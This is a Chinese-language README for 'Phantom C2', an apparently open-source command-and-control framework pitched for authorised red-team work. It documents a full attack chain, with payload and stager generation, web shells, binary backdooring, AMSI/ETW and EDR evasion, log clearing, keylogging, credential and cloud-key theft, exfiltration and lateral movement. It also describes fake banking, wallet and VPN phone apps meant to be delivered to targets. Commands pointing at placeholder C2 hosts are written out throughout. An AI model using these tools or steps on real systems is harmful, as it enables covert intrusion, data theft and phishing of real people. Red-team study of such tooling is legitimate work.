Phantom-C2-77/Phantom

GitHub: Phantom-C2-77/Phantom

一个基于 Go 的现代开源命令与控制框架,为授权红队演练提供从载荷生成、隐蔽通信到后渗透横向移动的完整攻击链支持。

Stars: 16 | Forks: 1

# Phantom C2 ``` ___ ____/ \____ ____/ _ _ \____ ____/ _____/ \_/ \_____ \____ ____/ _____/ PHANTOM C2 \_____ \____ /______/____________________________\______\ \___ ✦ ___/ \_______•_______/ [::] Phantom C2 Framework — Red Team Operations [::] Stealth • Precision • Control ```

一个用于授权红队演练的现代命令与控制框架
灵感源自 B-2 幽灵轰炸机 —— 隐蔽、精准、致命

功能 | 安装说明 | 使用方法 | Agent 能力 | 载荷 | 免责声明

## 屏幕截图 ### 登录与模式选择 ![Login](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/7b2f99a8ec174648.png) ### Web UI 仪表板(Cobalt Strike 风格图表) ![Web UI](https://raw.githubusercontent.com/Phantom-C2-77/Phantom/main/docs/assets/screenshot-webui-overview.png) ### 服务端启动 ![Startup](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/dfb351a3ed174649.png) ### Agent 管理 ![Agents](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/ced5492fad174651.png) ### Agent 交互与 Shell ![Interact](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/3c1df926fb174652.png) ### Active Directory 命令 ![AD Commands](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/6f53ca95e1174653.png) ### 载荷生成 ![Generate](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/134be057a2174653.png) ### 移动应用构建器(30+ 模板) ![App Templates](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/72c74dae7f174654.png) ### 移动载荷生成(Android + iOS) ![Mobile Payloads](https://raw.githubusercontent.com/Phantom-C2-77/Phantom/main/docs/assets/screenshot-mobile-payloads.png) ### 移动 Agent 回调 ![Mobile Callback](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/13b47e261c174655.png) ### 全部命令(35+) ![Help](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/9560c8f9bb174656.png) ### Agent 能力 ![Agent Help](https://raw.githubusercontent.com/Phantom-C2-77/Phantom/main/docs/assets/screenshot-agent-help.png) ### Web UI、报告与 Webhooks ![WebUI](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/5bfe6cd871174657.png) ## 功能 **接口** - **双接口** — 在启动时选择 CLI、Web UI 或两者兼有 - **操作员身份验证** — 首次运行设置 + 密码掩码登录 - **Web UI 仪表板** — Cobalt Strike/Mythic 风格,支持明暗主题切换 - **CLI shell** — 样式化提示符,支持会话记录和实时事件通知 - **快捷键** — Alt+1-9 切换标签页,`/` 聚焦终端 **通信** - **HTTP/HTTPS/DNS/TCP/SMB 监听器**,具备可定制的通信配置文件 - **加密通信** — RSA-2048 密钥交换 + AES-256-GCM,支持自动密钥轮换 - **4 种可定制配置文件** — Default、Microsoft 365、Cloudflare Workers、Redirector - **SMB/Unix 套接字隧道** — Agent 到 Agent 的中继,用于横向访问 - **移动端点** — `/api/v1/mobile/checkin`,用于 Android/iOS 回调 - **监听器预设** — 保存、加载、一键从 CLI 或 Web UI 启动 - **JA3 指纹随机化** — 每次连接使用随机密码套件以避免 TLS 指纹识别 - **User-Agent 轮换** — 每次请求随机选择 7 种真实浏览器 UA - **流量填充** — 随机长度数据填充,挫败流量模式分析 - **指数退避** — 失败连接使用 2^n 重试以避免洪泛检测 **规避与隐蔽** - **AMSI 绕过** — 补丁 AmsiScanBuffer - **ETW 绕过** — 补丁 EtwEventWrite - **ntdll 脱钩** — 从磁盘加载干净的 .text 段 - **进程镂空** — CreateProcess 挂起 + QueueUserAPC - **睡眠加密** — Ekko 风格的内存睡眠加密(挫败 BeaconEye、YARA) - **间接系统调用** — Halo's Gate SSN 解析以绕过 EDR 钩子 - **父进程 PID 欺骗** — 在 explorer.exe/svchost.exe 下派生进程 - **调用栈伪造框架** — 睡眠期间的伪造调用栈 - **时间戳修改** — 修改文件时间戳以匹配参考文件 - **日志清理** — 清除 Windows 事件日志(Security、System、PowerShell)和 Linux syslogs - **解开所有 DLL 钩子** — ntdll + kernel32 + kernelbase + advapi32(不仅是 ntdll) - **移除 PE 头** — 擦除内存中的 MZ/PE 签名(对扫描器不可见) - **补丁所有 ETW 提供程序** — EtwEventWrite、EtwEventWriteEx、EtwEventWriteFull、EtwEventWriteTransfer、NtTraceEvent - **BlockDLLs 策略** — 派生阻止 EDR DLL 注入的进程(BLOCK_NON_MICROSOFT_BINARIES) - **模块覆写** — 用植入代码覆盖合法 DLL 的 .text 段 - **硬件断点钩子** — 基于调试寄存器的 Hook(无代码修改) - **高级规避初始化** — 单个命令一次性运行所有绕过技术 - **自我清理** — 在 kill/kill-date 时移除二进制文件并清理环境 - **沙箱检测** — 运行时间、CPU、主机名、环境检查 - **移动端规避** — 反模拟器、反 Frida、反调试、反 AV(25+ 个包) **执行** - **内存中 BOF** — COFF 解析器,memfd_create (Linux),55+ BOF 目录 - **.NET 程序集执行** — 通过 PowerShell 反射在内存中执行(Seatbelt、Rubeus、SharpHound、Certify 等) - **Shellcode 执行** — VirtualAlloc/mmap,零磁盘痕迹 - **进程注入** — CreateRemoteThread - **22 个 AD 命令** — 枚举、Kerberoasting、DCSync、横向移动 **初始访问** - **端口扫描器** — 带服务检测的 TCP 端口扫描 - **密码喷洒** — 基于 SMB 的凭据喷洒 - **网络发现** — Ping 扫描 / nmap 主机发现 - **SMB 枚举** — 共享列表和访问检查 - **DNS 枚举** — A、MX、NS、TXT、SRV、SOA 记录查询 - **Web 指纹识别** — Header 分析 + 常见路径发现(robots.txt、.git、.env) - **漏洞扫描** — 基础漏洞评估(开放端口、SMB 签名、常见漏洞) **后渗透** - **令牌操作** — 窃取、创建、还原、模拟 - **键盘记录器** — GetAsyncKeyState (Windows)、xinput (Linux) - **C2 隧道 SOCKS5 代理** — 运行在操作员机器上,兼容 proxychains - **端口转发** — 通过 Agent 将本地端口转发到远程目标 - **凭据收集** — 浏览器、WiFi、剪贴板、SSH、RDP、保管库 - **12 种持久化方法** — 注册表、schtasks、启动文件夹、WMI 事件(无文件)、Windows 服务、登录脚本、COM 劫持、cron、systemd、bashrc、profile、rc.local - **持久化管理** — `persist list` 检查已安装项,`persist remove` 清理所有项 - **横向移动** — wmiexec、winrm、psexec、ssh、pth、wmi-spawn、winrm-spawn - **55+ BOF 目录** — AD 枚举、ADCS、凭据、kerberos、规避、提权、网络 **数据渗出(12 种方法)** - **DNS 渗出** — 将数据编码为 DNS 子域查询(隐蔽,绕过防火墙) - **HTTP 渗出** — POST 数据到外部服务器(快速) - **ICMP 渗出** — 将数据嵌入 ping 数据包(无需 TCP/UDP) - **SMB 渗出** — 复制到网络共享 - **凭据窃取** — 剪贴板、浏览器密码、WiFi 密钥、RDP 保存的凭据、Windows 保管库 - **密钥发现** — SSH 私钥、AWS/Azure/GCP/Kubernetes 凭据、.env 文件 - **数据打包** — 压缩目录以便高效渗出 **载荷生成(26+ 类型)** - **Agent 二进制文件** — Windows EXE、Linux ELF,使用 garble 混淆 - **Web shells** — ASPX、PHP、JSP(Token 保护并带有 404 诱饵) - **Stagers** — PowerShell、Bash、Python、HTA、VBA 宏 - **移动端** — Android APK 构建器(30+ 个伪造应用模板),iOS MDM + 钓鱼 - **二进制文件后门注入** — 将 Agent 注入任何 PE/ELF 二进制文件(类似于 Sliver 的 `backdoor`) - **DLL 侧载** — 代理 Teams、Slack、Chrome、VSCode、Firefox、PuTTY 的 DLL - **LNK 快捷方式后门** — 带有真实应用图标的恶意快捷方式 - **安装程序包装器** — 特洛伊木马化的安装程序,同时运行 Agent 和真实安装程序 - **服务 DLL** — svchost 下的 Windows 服务(自动重启,重启后存活) - **WMI 事件订阅** — 无文件持久化(磁盘上无文件) - **Office 模板宏** — Normal.dotm 中的 VBA(在所有新建文档上运行) - **注册表/计划任务/启动文件夹** — 多种持久化生成器 - **混淆选项** — None、Strip+UPX(体积减少 60%)或从 Web UI 选择 Garble - **插件系统** — 可扩展的插件目录(.py、.sh、.ps1),支持自动发现 - **可断点续传的文件传输** — 4MB 分块传输,带 SHA-256 校验和 - **API 密钥认证** — 生成用于脚本/自动化的密钥(X-API-Key Header) **Web UI(与 CLI 功能完全对等)** - **明暗主题** — 支持持久化的主题切换,专业的浅色主题 - **更大的侧边栏图标** — 所有标签页均带有标签的图标 - **仪表板** — 实时统计、Beacon 图表、网络拓扑、演练计时器 - **Agent 管理** — 重命名 Agent、删除死亡的 Agent、带状态的 Agent 卡片 - **监听器管理** — 创建、启动/停止、保存预设、一键启动 - **交互式终端** — 彩色输出(IP 为青色,错误为红色,FLAG 为金色),命令历史 - **载荷生成器** — 监听器/预设下拉菜单,混淆级别,自动下载 - **后门生成器** — 二进制文件后门 + 从浏览器配置 10 种持久化类型 - **文件浏览器** — 适应操作系统,可点击文件夹,向上/刷新导航 - **凭据管理器** — 添加/查看/移除收集到的凭据,支持类型标签 - **战利品查看器** — 按类型浏览捕获的输出(凭据、文件、截图、键盘记录) - **枢纽图** — Canvas 网络图,按子网分组显示 Agent - **IOC 仪表板** — 跟踪释放的文件、网络连接、进程、持久化痕迹 - **会话重放** — 带时间戳重放任何 Agent 的完整命令历史 - **命令模板** — 6 个内置模板(初始枚举、AD 枚举等),支持一键全部运行 - **MITRE ATT&CK 映射** — 16 个技术 ID 映射到 Phantom 命令 - **自动任务** — 配置新 Agent 签入时自动运行的命令 - **操作员审计日志** — 谁向哪个 Agent 发送了什么命令 - **演练笔记** — 用于记录发现的持久化记事本 - **浏览器通知** — 新 Agent 签入时推送警报 - **导出数据** — 将完整的演练数据下载为 JSON - **SOCKS 代理** — 从终端标签页启动/停止 C2 隧道的 SOCKS - **Sleep/Jitter 控制** — 从 Web UI 调整 Beacon 间隔 - **多操作员** — 并发的 CLI + Web UI 会话 **运营** - **C2 隧道 SOCKS5** — 兼容 proxychains 的通过 Agent 的隧道 - **演练计时器** — 顶栏中的运行时间追踪 - **演练报告** — Markdown + CSV,包含完整的活动时间线 - **Webhook 通知** — 发生事件时发送 Slack/Discord 警报 - **会话记录** — 记录每一个命令以供文档参考 - **内置诊断** — `--doctor 标志检查 25+ 项系统要求 - **重定向器支持** — 生成 Nginx/Caddy/Cloudflare/iptables 配置 - **Docker 部署** — `docker-compose up -d` 一行命令搞定 ## 安装说明 ### Linux (Kali / Ubuntu / Debian) ``` # 步骤 1:安装 Go(如果尚未安装) sudo apt update sudo apt install -y golang-go git make # 验证 Go 版本(需要 1.22+) go version # 步骤 2:克隆代码库 git clone https://github.com/Phantom-C2-77/Phantom.git cd Phantom # 步骤 3:安装依赖 go mod tidy # 步骤 4:(可选)安装 garble 以进行 agent 混淆 go install mvdan.cc/garble@latest # 步骤 5:生成 RSA 密钥对(加密通信所需) go run ./cmd/keygen -out configs/ # 步骤 6:(可选)为 HTTPS 监听器生成 TLS 证书 bash scripts/generate_certs.sh # 步骤 7:构建服务器 make server # 步骤 8:启动 Phantom ./build/phantom-server --config configs/server.yaml ``` ### Windows ``` # 步骤 1:安装 Go # 从 https://go.dev/dl/ 下载并运行安装程序 # 或者使用 winget: winget install GoLang.Go # 安装 Go 后重启终端,然后验证: go version # 步骤 2:安装 Git(如果尚未安装) winget install Git.Git # 步骤 3:克隆代码库 git clone https://github.com/Phantom-C2-77/Phantom.git cd Phantom # 步骤 4:安装依赖 go mod tidy # 步骤 5:(可选)安装 garble 以进行 agent 混淆 go install mvdan.cc/garble@latest # 步骤 6:生成 RSA 密钥对 go run ./cmd/keygen -out configs/ # 步骤 7:构建服务器 go build -ldflags "-s -w" -o build\phantom-server.exe ./cmd/server # 步骤 8:启动 Phantom .\build\phantom-server.exe --config configs\server.yaml ``` ### 快速安装(单行命令) **Linux:** ``` git clone https://github.com/Phantom-C2-77/Phantom.git && cd Phantom && go mod tidy && go run ./cmd/keygen -out configs/ && make server && ./build/phantom-server --config configs/server.yaml ``` **Windows (PowerShell):** ``` git clone https://github.com/Phantom-C2-77/Phantom.git; cd Phantom; go mod tidy; go run ./cmd/keygen -out configs/; go build -ldflags "-s -w" -o build\phantom-server.exe ./cmd/server; .\build\phantom-server.exe --config configs\server.yaml ``` ### Docker(推荐) ``` git clone https://github.com/Phantom-C2-77/Phantom.git cd Phantom docker-compose up -d docker attach phantom-c2 ``` 暴露端口:HTTP (8080)、HTTPS (443)、DNS (53)、Web UI (3000) ## 使用方法 ### 启动服务端 ``` ./build/phantom-server --config configs/server.yaml ``` 你将看到: ``` ___ __ __ ___ _ __ ______ ____ __ ___ / _ \/ / / / / _ | / |/ //_ __// __ \ / |/ / / ___/ /_/ / / __ |/ / / / / /_/ // /|_/ / /_/ \____/ /_/ |_/_/|_/ /_/ \____//_/ /_/ [::] Phantom C2 Framework — Red Team Operations [::] Version: dev [*] Loading configuration from configs/server.yaml [*] Initializing server... [+] Listener 'fallback-http' started on 0.0.0.0:8080 (http) [+] Phantom C2 server ready [*] Type 'help' for available commands phantom > ``` ### 全局命令 ``` phantom > help Phantom C2 — Commands ───────────────────────────────────────── agents List all connected agents interact Interact with an agent listeners [start|stop] Manage listeners tasks [agent] View task history generate [url] Build agent or generate payload remove Remove a dead agent loot [agent] View captured loot events View event log clear Clear screen help Show this help exit Shutdown and exit ``` ### 与 Agent 交互 ``` phantom > agents ┌──────────┬───────────────┬─────────┬──────────┬───────┬─────────────┬──────────┬──────────┬────────┐ │ ID │ Name │ OS │ Hostname │ User │ IP │ Sleep │ Last Seen│ Status │ ├──────────┼───────────────┼─────────┼──────────┼───────┼─────────────┼──────────┼──────────┼────────┤ │ a3f2e8c1 │ silent-falcon │ windows │ DC-PROD │ admin │ 10.0.1.42 │ 10s/20% │ 2s ago │ active │ │ b7d4f091 │ dark-raven │ linux │ web-01 │ root │ 10.0.1.100 │ 10s/20% │ 5s ago │ active │ └──────────┴───────────────┴─────────┴──────────┴───────┴─────────────┴──────────┴──────────┴────────┘ phantom > interact silent-falcon [+] Interacting with silent-falcon (admin@DC-PROD) phantom [silent-falcon] > shell whoami [+] Task queued (ID: a3f2e8c1) — waiting for agent check-in... [+] Result: dc-prod\admin phantom [silent-falcon] > ad-help (shows all 22 AD commands) phantom [silent-falcon] > ad-enum-users phantom [silent-falcon] > ad-kerberoast phantom [silent-falcon] > screenshot phantom [silent-falcon] > persist registry phantom [silent-falcon] > back ``` ### Agent 命令(在 `interact` 会话中) | 命令 | 描述 | |---------|-------------| | `shell ` | 执行 Shell 命令 (cmd.exe / /bin/sh) | | `upload ` | 上传文件到 Agent | | `download ` | 从 Agent 下载文件 | | `screenshot` | 截取屏幕截图 | | `ps` | 列出正在运行的进程 | | `sysinfo` | 获取系统信息 | | `sleep [jitter%]` | 更改睡眠间隔 | | `cd ` | 更改工作目录 | | `bof [args]` | 执行 Beacon Object File(内存中) | | `shellcode ` | 在内存中执行原始 Shellcode | | `inject ` | 将 Shellcode 注入远程进程 | | `ad-*` | Active Directory 命令(输入 `ad-help`) | | `token ` | 令牌操作(窃取/创建/还原/模拟) | | `keylog ` | 启动键盘记录器 | | `creds ` | 凭据收集(浏览器/wifi/剪贴板/ssh) | | `socks start [port]` | 启动 C2 隧道 SOCKS5 代理 | | `portfwd ` | 通过 Agent 的端口转发 | | `evasion` | 运行规避操作(AMSI/ETW/ntdll 脱钩) | | `evasion timestomp ` | 匹配文件时间戳 | | `evasion clearlogs` | 清除 Windows/Linux 事件日志 | | `persist ` | 安装持久化(见下文) | | `persist list` | 显示已安装的持久化 | | `persist remove` | 移除所有持久化 | | `lateral ` | 横向移动(wmiexec/winrm/psexec/ssh/pth) | | `pivot ` | SMB 命名管道隧道 | | `kill` | 终止 Agent | | `info` | 显示 Agent 详情 | | `tasks` | 显示任务历史 | | `back` | 返回主菜单 | ### 持久化方法 | 方法 | 平台 | 描述 | |--------|----------|-------------| | `registry` | Windows | HKCU Run 键(无需管理员权限) | | `schtask` | Windows | 登录时的计划任务 | | `startup` | Windows | 复制到启动文件夹 | | `wmi` | Windows | WMI 事件订阅(无文件) | | `winservice` | Windows | 以 SYSTEM 运行的 Windows 服务 | | `logonscript` | Windows | UserInitMprLogonScript(Explorer 启动前) | | `comhijack` | Windows | COM 对象劫持(随 Explorer 加载) | | `cron` | Linux | 每 5 分钟运行一次的 Cron 任务 | | `service` | Linux | Systemd 用户服务(自动重启) | | `bashrc` | Linux | .bashrc 后门 | | `profile` | Linux | .profile 后门(登录 Shell) | | `rc.local` | Linux | /etc/rc.local 启动脚本(需要 root 权限) | ### 横向移动 ``` lateral wmiexec lateral winrm lateral psexec lateral ssh lateral pth lateral wmi-spawn lateral winrm-spawn ``` ## Agent 能力 | 能力 | Windows | Linux | |-----------|---------|-------| | Shell 执行 | cmd.exe | /bin/sh | | 文件上传/下载 | 是(可断点续传分块) | 是(可断点续传分块) | | 截图 | PowerShell GDI | import/scrot/xwd | | 进程列表 | tasklist | ps aux | | 系统信息 | 完整 | 完整 | | 持久化 | 7 种方法(注册表、schtasks、启动文件夹、WMI、服务、登录脚本、COM) | 5 种方法(cron、systemd、bashrc、profile、rc.local) | | BOF 执行 | 内存中的 COFF 加载器(55+ 目录) | memfd_create | | .NET 程序集 | 通过反射在内存中执行 | N/A | | Shellcode 执行 | VirtualAlloc + CreateThread | mmap RWX | | 进程注入 | CreateRemoteThread | N/A | | 沙箱检测 | 是 | 是 | | 横向移动 | wmiexec、winrm、psexec、pth | ssh | | 数据渗出 | DNS、HTTP、ICMP、SMB、剪贴板、浏览器、WiFi、保管库 | DNS、HTTP、ICMP、ssh-keys、cloud-keys | | 初始访问 | portscan、spray、enum-smb、enum-web、vuln-scan | portscan、enum-dns、netdiscover | ### Active Directory 命令(共 22 个) **枚举:** `ad-enum-domain`、`ad-enum-users`、`ad-enum-groups`、`ad-enum-computers`、`ad-enum-shares`、`ad-enum-spns`、`ad-enum-gpo`、`ad-enum-trusts`、`ad-enum-admins`、`ad-enum-asrep`、`ad-enum-delegation`、`ad-enum-laps` **攻击:** `ad-kerberoast`、`ad-asreproast`、`ad-dcsync` **凭据访问:** `ad-dump-sam`、`ad-dump-lsa`、`ad-dump-tickets` **横向移动:** `ad-psexec`、`ad-wmi`、`ad-winrm`、`ad-pass-the-hash` ### 数据渗出命令 ``` exfil dns DNS subdomain tunneling (stealthy) exfil http HTTP POST exfil (fast) exfil icmp ICMP ping data embed (no TCP/UDP) exfil smb SMB file copy exfil clipboard Steal clipboard exfil browser Chrome/Firefox credential databases exfil wifi Saved WiFi passwords exfil rdp Saved RDP credentials exfil vault Windows Credential Vault exfil ssh-keys Find SSH private keys exfil cloud-keys AWS/Azure/GCP/K8s credentials exfil compress Compress directory for exfil ``` ### .NET 程序集执行 ``` assembly Seatbelt.exe -group=all assembly Rubeus.exe kerberoast assembly SharpHound.exe -c All -d domain.local assembly Certify.exe find /vulnerable assembly inline [args] assembly list ``` ### 初始访问 ``` initaccess portscan TCP port scanner initaccess spray Password spray initaccess enum-smb SMB share enumeration initaccess enum-dns DNS record enumeration initaccess enum-web Web fingerprinting initaccess vuln-scan Vulnerability assessment initaccess netdiscover Host discovery ``` ## 构建 Agent ### 从 Phantom CLI ``` phantom > generate exe https://your-c2.com:443 [*] Building windows/amd64 agent... [+] Agent built successfully! Output: build/agents/phantom-agent_windows_amd64.exe Size: 6.4 MB Platform: windows/amd64 Listener: https://your-c2.com:443 Sleep: 10s / 20% ``` ### 从 Make ``` # Windows agent make agent-windows LISTENER_URL=https://your-c2.com:443 SLEEP=10 JITTER=20 # Linux agent make agent-linux LISTENER_URL=https://your-c2.com:443 SLEEP=10 JITTER=20 # 混淆 (garble) make agent-garble-windows LISTENER_URL=https://your-c2.com:443 SLEEP=10 JITTER=20 ``` ### Make 目标参考 ``` make help # Show all available targets make server # Build the server binary make run # Build + start the server make restart # Kill running server, rebuild, and start fresh make agent-windows # Cross-compile Windows/amd64 agent make agent-linux # Cross-compile Linux/amd64 agent make agent-garble-windows # Obfuscated Windows agent via garble make agent-all # Build all agent variants make keygen # Generate RSA keypair for server make certs # Generate self-signed TLS certificates make deps # Install dependencies (Go modules + garble) make test # Run all tests make clean # Remove all build artifacts ``` **代码更改后的常见工作流程:** ``` # 使用最新更改重启服务器 make restart # 如果你修改了 implant/agent 代码,也需要重新构建 agent make agent-windows LISTENER_URL=http://YOUR-IP:8080 ``` ### 构建带有嵌入式 RSA 密钥的 Agent 为了让 Agent 能与 C2 通信,必须嵌入服务端的 RSA 公钥: ``` cd ~/phantom SERVER_PUB_DER_B64=$(python3 -c " import base64, re with open('configs/server.pub','rb') as f: pem = f.read() b64 = re.sub(r'-----[^-]+-----', '', pem.decode()).replace('\n','').strip() print(base64.b64encode(base64.b64decode(b64)).decode())") GOOS=linux GOARCH=amd64 CGO_ENABLED=0 go build -ldflags "-s -w \ -X 'github.com/phantom-c2/phantom/internal/implant.ListenerURL=http://YOUR-IP:8080' \ -X 'github.com/phantom-c2/phantom/internal/implant.SleepSeconds=5' \ -X 'github.com/phantom-c2/phantom/internal/implant.JitterPercent=10' \ -X 'github.com/phantom-c2/phantom/internal/implant.ServerPubKey=$SERVER_PUB_DER_B64'" \ -o build/agents/phantom-agent_linux_amd64 ./cmd/agent ``` ## C2 隧道 SOCKS5 代理 使用 proxychains 将流量通过被控制的 Agent 路由进内网: ``` # 从 Phantom CLI phantom > interact phantom [agent] > socks start 1080 # 或者从 Web UI:Terminal 选项卡 → "SOCKS Proxy" 按钮 # 配置 proxychains echo 'socks5 127.0.0.1 1080' >> /etc/proxychains4.conf # 通过 agent 扫描内部网络 proxychains nmap -sT -Pn 10.10.20.0/24 # SSH 连接到内部主机 proxychains ssh admin@10.10.20.10 # 访问内部 Web 应用 proxychains curl http://10.10.20.30:8080 ``` ## Shellcode 加载器与分阶段投递 生成小型加载器(~30KB),完全在内存中下载并执行 Agent —— 不会触及磁盘: ``` # 从 API: curl -X POST http://localhost:3000/api/payload/loader \ -H "Content-Type: application/json" \ -d '{"listener_url":"http://YOUR-IP:8080","loader_type":"syscall"}' ``` | 加载器类型 | 大小 | 描述 | |------------|------|-------------| | `syscall` | ~30KB | 带有反沙箱的直接 API 加载器(最隐蔽) | | `dll` | ~25KB | DLL 侧载 — 重命名为 version.dll,放置在 Teams/Slack/Chrome 目录下 | | `hollowing` | ~35KB | 进程镂空 — 注入到挂起的 svchost.exe 中 | | `fiber` | ~28KB | Windows Fiber 执行 — 避免基于线程的检测 | **工作原理:** C2 使用 AES-256 加密 Agent → 微型加载器下载加密数据块 → 在内存中解密 → 执行。Agent 绝不触碰磁盘,EDR 无法扫描。 ## 二进制文件后门注入 将 Phantom Agent 注入任何合法的可执行文件中: ``` # 从 CLI phantom > backdoor /path/to/putty.exe http://YOUR-C2:8080 # 从 Web UI:Payloads 选项卡 → Binary Backdoor 面板 # 从 API curl -X POST http://localhost:3000/api/payload/backdoor/binary \ -H "Content-Type: application/json" \ -d '{"input":"/path/to/app.exe","listener_url":"http://YOUR-C2:8080"}' ``` 支持的后门类型:DLL 侧载、LNK 快捷方式、安装程序包装器、服务 DLL、注册表持久化、计划任务、WMI 事件(无文件)、Office 模板、启动文件夹、Linux bashrc。 ## 载荷生成 ### 从 Phantom CLI ``` phantom > generate aspx https://your-c2.com:443 [+] Payload generated: build/payloads/update.aspx [*] Upload to target web server, then access with: curl -X POST -H 'X-Debug-Token: ' -d 'data=whoami' phantom > generate php https://your-c2.com:443 phantom > generate jsp https://your-c2.com:443 phantom > generate powershell https://your-c2.com:443 phantom > generate bash https://your-c2.com:443 phantom > generate python https://your-c2.com:443 phantom > generate hta https://your-c2.com:443 phantom > generate vba https://your-c2.com:443 ``` | 载荷 | 平台 | 描述 | |---------|----------|-------------| | `aspx` | IIS/ASP.NET | 受 Token 保护的 Web Shell,带有 404 诱饵 | | `php` | Apache/Nginx | 多重回退执行(5 种方法) | | `jsp` | Tomcat/Java | 跨平台 Web Shell | | `powershell` | Windows | 下载并执行的 Stager | | `bash` | Linux | curl/wget Stager | | `python` | 跨平台 | 支持 SSL 的 Stager | | `hta` | Windows | 钓鱼载荷(base64 PS cradle) | | `vba` | Windows | Office 宏| ## 移动载荷(Android + iOS) ### 快速开始 — 带有 C2 回调的 Android 应用 ``` # 步骤 1:生成一个伪造的 VPN 应用 phantom > generate app vpn-shield https://YOUR-C2-IP:8080 # 步骤 2:构建 APK cd build/payloads/apps/vpn_shield # 在 Android Studio 中打开 → Build → Build APK # 或者:gradle assembleRelease # 步骤 3:投递至目标 # - 通过电子邮件/消息发送 APK # - 托管在伪造的应用商店页面 # - 链接到下载的二维码 # 步骤 4:当目标安装并打开应用时 # - 他们会看到一个合法的 VPN 界面 # - 后台服务启动 C2 回调 # - Agent 出现在 Phantom 中:"phantom > agents" # 步骤 5:与移动端 agent 交互 phantom > interact toxic-cobra phantom [toxic-cobra] > shell id phantom [toxic-cobra] > sysinfo phantom [toxic-cobra] > shell cat /proc/version ``` ### 可用的应用模板(30+) | 分类 | 模板 | |----------|-----------| | 生产力 | 计算器、二维码扫描仪、PDF 查看器、笔记、文件管理器 | | 实用工具 | 手电筒、WiFi 分析仪、节电助手、清理大师、测速仪 | | 安全 | VPN 护盾、密码管理器、身份验证器、杀毒专业版 | | 金融 | 加密钱包、银行应用、支出跟踪器 | | 社交 | 聊天信使、视频通话、约会交友 | | 娱乐 | 音乐播放器、电视直播、游戏中心 | | 企业 | 公司门户、HR 自助服务、IT 支持 | ### 每个应用包含什么 - **逼真的 UI** — 特定类别的界面(银行仪表板、安全护盾等) - **后台 C2 服务** — 应用关闭后仍能存活,静默运行 - **开机持久化** — 设备重启时自动启动 - **远程 Shell** — 在设备上执行命令 - **设备信息** — 型号、操作系统、制造商、设备 ID - **规避套件** — 反模拟器、反调试、反 Frida、反 AV、沙箱延时 ### 其他移动载荷 ``` # Android 特定 payloads (stagers + 钓鱼) phantom > generate android https://YOUR-C2-IP:8080 # iOS 特定 payloads (MDM 配置文件 + Apple ID 钓鱼) phantom > generate ios https://YOUR-C2-IP:8080 ``` ### 移动端规避(自动包含) 所有生成的应用会自动包含以下规避功能: - 检测模拟器(Genymotion、Nox、BlueStacks、QEMU) - 检测安全应用(25+ 个 AV/MDM 包) - 检测 Frida 插桩(3 种检测方法) - 检测调试器与分析工具 - 将 C2 回调延迟 60-120 秒以熬过沙箱分析期 - 如果检测到任何分析,则保持完全休眠状态 ## 配置 ### 服务端配置 ``` server: database: "data/phantom.db" rsa_private_key: "configs/server.key" rsa_public_key: "configs/server.pub" default_sleep: 10 default_jitter: 20 listeners: - name: "default-https" type: "https" bind: "0.0.0.0:443" profile: "default" tls_cert: "configs/server.crt" tls_key: "configs/server-tls.key" - name: "fallback-http" type: "http" bind: "0.0.0.0:8080" profile: "default" ``` ### 可定制配置文件 `configs/profiles/` 中的三个内置配置文件: - **default.yaml** — 通用 API 流量(`/api/v1/status`) - **microsoft.yaml** — Microsoft 365/Azure(`/common/oauth2/v2.0/token`) - **cloudflare.yaml** — Cloudflare Workers(`/cdn-cgi/rum`) ## Web UI 与 CLI 一起启动浏览器仪表板: ``` phantom > webui [+] Web UI started: http://127.0.0.1:3000 ``` ### Web UI 登录 Web UI 需要身份验证。默认凭据: ``` Username: admin Password: phantom ``` 所有页面和 API 端点均受保护 —— 拒绝匿名访问。 ### Web UI 功能 - **仪表板** — 实时统计、Beacon 图表、网络拓扑、演练计时器 - **Agents** — 卡片视图 + 表格视图,重命名 Agent,删除死亡的 Agent - **监听器** — 创建、启动/停止、保存预设、一键启动 - **任务** — 跨所有 Agent 的完整任务历史及输出 - **终端** — 彩色输出,命令历史,快捷操作按钮,SOCKS 代理,Sleep 控制 - **载荷** — 带有监听器预设选择器、混淆选项、自动下载的生成器 - **后门** — 二进制文件后门 + 10 种持久化类型(DLL 侧载、WMI、注册表等) - **文件** — 适应操作系统的文件浏览器,可点击文件夹,截图/进程查看器 - **凭据** — 添加/查看/移除收集到的凭据,支持类型标签 - **战利品** — 按类型浏览捕获的输出(凭据、文件、截图、键盘记录) - **枢纽图** — Canvas 网络图,按子网分组显示 Agent - **IOC仪表板** — 跟踪文件、连接、进程、持久化痕迹 - **会话重放** — 带时间戳重放任何 Agent 的命令历史 - **模板** — 6 个内置命令模板 + MITRE ATT&CK 映射 + 自动任务 - **审计** — 操作员审计日志(谁向哪个 Agent 发送了什么) - **事件** — 事件日志 + 演练笔记 - **主题** — 支持持久化的明暗主题切换 ### Web UI API 端点 | 端点 | 方法 | 描述 | |----------|--------|-------------| | `/login` | GET/POST | 登录页面与身份验证 | | `/logout` | GET | 结束会话 | | `/api/agents` | GET | 列出所有 Agent | | `/api/agent/{name}` | GET | 包含任务历史的 Agent 详情 | | `/api/agent/remove` | POST | 删除一个死亡的 Agent | | `/api/agent/rename` | POST | 重命名 Agent | | `/api/listeners` | GET | 列出所有监听器 | | `/api/listener/create` | POST | 创建并启动监听器 | | `/api/listener/start` | GET | 启动已停止的监听器 | | `/api/listener/stop` | GET | 停止正在运行的监听器 | | `/api/presets` | GET/POST | 管理监听器预设 | | `/api/tasks` | GET | 跨 Agent 的所有任务 | | `/api/events` | GET | 事件日志 | | `/api/cmd` | POST | 向 Agent 发送命令 | | `/api/payload/generate` | POST | 生成任意类型的载荷 | | `/api/payload/download` | GET | 下载生成的载荷 | | `/api/payload/types` | GET | 列出可用的载荷类型 | | `/api/payload/apps` | GET | 列出移动应用模板 | | `/api/payload/backdoor` | POST | 生成持久化后门 | | `/api/payload/backdoor/binary` | POST | 为可执行文件注入后门 | | `/api/payload/backdoor/types` | GET | 列出后门类型 | | `/api/tunnel/start` | POST | 启动通过 Agent 的 SOCKS5 隧道 | | `/api/tunnel/stop` | GET | 停止 SOCKS5 隧道 | | `/api/tunnel/list` | GET | 